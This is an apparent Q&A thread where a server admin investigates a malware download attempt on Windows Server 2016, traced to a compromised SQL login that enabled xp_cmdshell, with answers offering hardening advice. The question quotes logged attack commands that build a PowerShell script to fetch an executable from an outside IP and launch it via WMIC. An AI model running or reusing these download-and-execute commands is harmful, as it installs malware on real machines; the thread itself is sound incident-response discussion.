4

On one of our Windows Datacenter 2016, there's an alert that a trojan is trying to install : enter image description here

The following PowerShell commands are trying to execute at seemingly random hours of the day (always during working hours, one to two times a day, sometimes there are a few days between attempts which makes me think it's embedded in a file that is executed by the users of the machine)

CmdLine:C:\Windows\System32\cmd.exe /C echo $cl = New-Object System.Net.WebClient >%TEMP%\updt.ps1 & echo $cl.DownloadFile(http://80.66.75.36/p-Eehpf.exe, %TEMP%\tzt.exe) >> %TEMP%\updt.ps1 & powershell -ExecutionPolicy Bypass %TEMP%\updt.ps1 & WMIC process call create %TEMP%\tzt.exe
CmdLine:C:\Windows\System32\cmd.exe /C echo $cl = New-Object System.Net.WebClient >C:\Users\MSSQL$SAGE100\AppData\Local\Temp\updt.ps1 & echo $cl.DownloadFile(http://80.66.75.36/p-Eehpf.exe, C:\Users\MSSQL$SAGE100\AppData\Local\Temp\tzt.exe) >> C:\Users\MSSQL$SAGE100\AppData\Local\Temp\updt.ps1 & powershell -ExecutionPolicy Bypass C:\Users\MSSQL$SAGE100\AppData\Local\Temp\updt.ps1 & WMIC process call create C:\Users\MSSQL$SAGE100\AppData\Local\Temp\tzt.exe

So I suppose it's embedded in some kind of other files, or through a network attack, but I don't know how to investigate this to know which service/file is faulty.

Edit :

I checked into the event viewer : system logs and the detections hours by windows defender coincides with the service : App deployment services starting

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Service Control Manager" Guid="{xxx-a6d7-4695-8e1e-xxx012f4}" EventSourceName="Service Control Manager" /> 
  <EventID Qualifiers="16384">7036</EventID> 
  <Version>0</Version> 
  <Level>4</Level> 
  <Task>0</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8080000000000000</Keywords> 
  <TimeCreated SystemTime="2023-03-03T13:36:51.390130000Z" /> 
  <EventRecordID>685207</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="708" ThreadID="13796" /> 
  <Channel>System</Channel> 
  <Computer>xxxx</Computer> 
  <Security /> 
  </System>
- <EventData>
  <Data Name="param1">AppX Deployment Service (AppXSVC)</Data> 
  <Data Name="param2">running</Data> 
  <Binary>4100700070005800xx4000000</Binary> 
  </EventData>
  </Event>

In the event viewer > Windows logs > Application I found that the following values are changed at the time Windows defender is triggered :

  • TRUSTWORTHY new value ON for database msdb
  • 'clr enabled' new value : 1
  • 'show advanced options' new value : 1
  • ''xp_cmdshell' new value : 1

Comming from user : MSSQL$SAGE100 which is a the sys sql user

enter image description here

So i suppose the user has been compromised and is used to try to issue powershell commands to the vm, I have enabled the logging for successful logins on the sql server to see if the commands are issued through an application or directly from the network.

After another attack yesterday I can confirm that someone is logging from outside with the correct credentials for an sql user of my sql server and uses this user to conduct the attack.

8
  • Have you checked the task scheduler? Mar 2, 2023 at 21:32
  • @AustereGrim yes I can't see anything weird, also since the execution hours looks a bit random i'm not sure it's a schedule task.
    – Maxime
    Mar 3, 2023 at 10:20
  • Defender doesn't offer more info?
    – schroeder
    Mar 4, 2023 at 16:24
  • 1
    I'm not sure this can be answered in a Q&A site. This requires some forensic analysis.
    – schroeder
    Mar 4, 2023 at 16:25
  • 1
    @schroeder Nope, no more informations, I was more looking for general guidelines of where to look and what to check (IE : windows event logs)
    – Maxime
    Mar 4, 2023 at 19:20

2 Answers 2

1

It sounds like you've already solved the "what process is doing this?" question, so this answer is instead about how to solve your real problem.

After another attack yesterday I can confirm that someone is logging from outside with the correct credentials for an sql user of my sql server and uses this user to conduct the attack.

You really, REALLY should not allow external login to DB servers except from trusted locations (your app servers, potentially the office network but ideally only the jump box for your production network, etc.).

Furthermore, you should follow the principle of least privilege, and not allow most users to take dangerous actions (such as enabling or using xp_cmdshell). While generally there's no way to prevent an administrative user from having such privileges, most DB users - including those used by app servers - can and should have far fewer privileges than admins, and admin credentials should be very tightly controlled.

2
  • Well, unfortunately there are systems that logins to this database for reporting purposes and as they're SaaS systems they do not have a fixed IP i could whitelist.
    – Maxime
    Apr 8 at 14:49
  • Oof. Usually analytics/monitoring can be done on a push model, which is much safer than an external service connecting to your server to pull the data. At the very least, limit access as much as you can (SaaS providers do usually offer at least an IP range) and ensure they use an account with the absolute minimum privileges (shouldn't be that hard, since they generally perform only a few specific and read-only queries).
    – CBHacking
    Apr 9 at 21:45
0

I speculate that your attacker is using the stolen credentials to run xp_cmdshell, giving it the command lines you've shown in your question. (Ed. depending on who owned these creds originally, you might need to have a chat.)

Depending on how you're using it, you could get rid of xp_cmdshell all together. You could also restrict which users have access to xp_cmdshell, limit the capability of xp_cmdshell by running it under a standard windows user account ELopes'18, and also enable auditing of xp_cmdshell calls PKeisler'18.

I ran VirusTotal on the http linked exe, and surprise (!!), it's considered malicious by over 1/4 of scanners o: (... on a side note, it forced HybridAnalysis into apoplexy so it must've been something yummy!)

Anyway, it looks like Windows Defender is doing its job, which is a plus. (In my experience it will freak out over a single entry in VirusTotal, as recently happened with one of the SysinternalSuite tools, which may also be useful to you - as suggested in the comments, be sure to take this host offline and go over it with a fine-toothed comb - autoruns.exe can help here.)

I would also be very concerned about the ability for this backend database to connect willy-nilly to some blacklisted host on the internet, ie. something somewhere is asking nicely for this box to ...

"HEY COMRADE! download totally benign exe file and run him - let me know when finished, da?" ... signed, legit user

(Consider introducing firewalling based on listed ip addresses through a separate mechanism - feel free to ask another q and describe your environment a bit more for a decent answer on this topic.)

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .